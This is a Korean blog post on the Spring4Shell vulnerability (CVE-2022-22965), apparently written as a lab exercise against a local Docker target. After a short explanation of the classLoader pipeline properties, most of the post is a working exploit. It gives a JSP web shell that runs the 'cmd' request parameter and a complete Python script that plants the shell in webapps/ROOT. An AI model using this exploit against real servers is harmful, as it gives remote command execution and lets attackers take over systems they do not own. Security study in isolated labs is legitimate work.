article thumbnail image
Published 2024. 6. 30. 23:26

CVE-2022-22965

목차

  • PoC 환경구축
  • Spring4Shell취약점이란
  • exploit 코드

PoC 환경구축

깃허브에서 가져온 PoC 파일을 가져와서 docker를 구축합니다. 그 후에, 잘 실행이 되는지 확인하여 링크에 들어갑니다.

 

 

 

https://github.com/sunnyvale-it/CVE-2022-22965-PoC

 

GitHub - sunnyvale-it/CVE-2022-22965-PoC: CVE-2022-22965 (Spring4Shell) Proof of Concept

CVE-2022-22965 (Spring4Shell) Proof of Concept. Contribute to sunnyvale-it/CVE-2022-22965-PoC development by creating an account on GitHub.

github.com

PoC는 github에서 찾아서 진행하였습니다.

리눅스 상에서 도커로 파일을 실행시켜 진행하였습니다.

 


Spring4Shell 취약점이란

먼저 spring이란 java의 오픈 소스 프레임워크입니다. SpringFramework를 사용하고 있는 환경에서,

burpsuitPOST 방신으로 request를 진행하면 class.module을 원격으로 사용하여 classLoader호출합니다. 호출한 classLoader는 서버 환경에 웹쉘 파일을 생성하는 형식의 취약점입니다.

이 취약점은 RCE가 가능한 취약점으로서 매우 취약한 부분이라고 볼 수 있습니다.

그렇다면 classLoader의 어떤 클래스를 사용해서 POST를 진행해야지 값이 나올까요?

주로 Spring4Shell에서 사용되는 클래스들의 목록은

 

class.module.classLoader.resources.context.parent.pipeline.first.pattern

class.module.classLoader.resources.context.parent.pipeline.first.suffix

class.module.classLoader.resources.context.parent.pipeline.first.directory

- class.module.classLoader.resources.context.parent.pipeline.first.prefix

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

 

이런 목록들이 사용됩니다.

그럼 각 클래스는 어떤역할을 하고 어떻게 사용하는지 예를 들어드리겠습니다.

 

class.module.classLoader.resources.context.parent.pipeline.first.pattern = java코드.urlencode

생성된 파일의 내용의 역할을 합니다.

class.module.classLoader.resources.context.parent.pipeline.first.suffix = .jsp

파일 확장자를 선언해주는 역할을 합니다.

class.module.classLoader.resources.context.parent.pipeline.first.directory = web/app

파일이 생겨날 경로를 선언해주는 역할을 합니다.

class.module.classLoader.resources.context.parent.pipeline.first.prefix = 파일명

파일명을 선언할 역할을 해줍니다.

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= “”

파일스탬프와 같은 메타데이터를 저장할 역할을 합니다.

 

이 클래스들의 기반으로 exploit코드를 작성할 수 있습니다.


Exploit코드

java.io.InputStream in = %{c}i
.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream(); 
int a = -1; 
byte[] b = new byte[2048]; 
while((a=in.read(b))!=-1){ 
      out.println(new String(b));
 }

 

cmd코드를 작성해 url 인코딩 후에

 

import requests
import time

requests.packages.urllib3.disable_warnings()

post_headers = {"Content-Type": "application/x-www-form-urlencoded"}
get_headers = {"prefix": "<%", "suffix": "%>//", "c": "Runtime"}

def run_exploit():
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
    exp_data = "&".join([log_pattern, "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp", "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT", "class.module.classLoader.resources.context.parent.pipeline.first.prefix=mnu_203804", "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="])

    url = "http://localhost:9092/spring4shell/exploitme"
    requests.post(url, headers=post_headers, data=exp_data, verify=False)
    time.sleep(3)
    requests.get(url, headers=get_headers, verify=False)
    time.sleep(1)

if __name__ == '__main__':
    run_exploit()
    print("[+] Exploit completed")

파이썬으로 작성후 진행하면,

성공적으로 동작하는것을 확인할 수 있습니다

복사했습니다!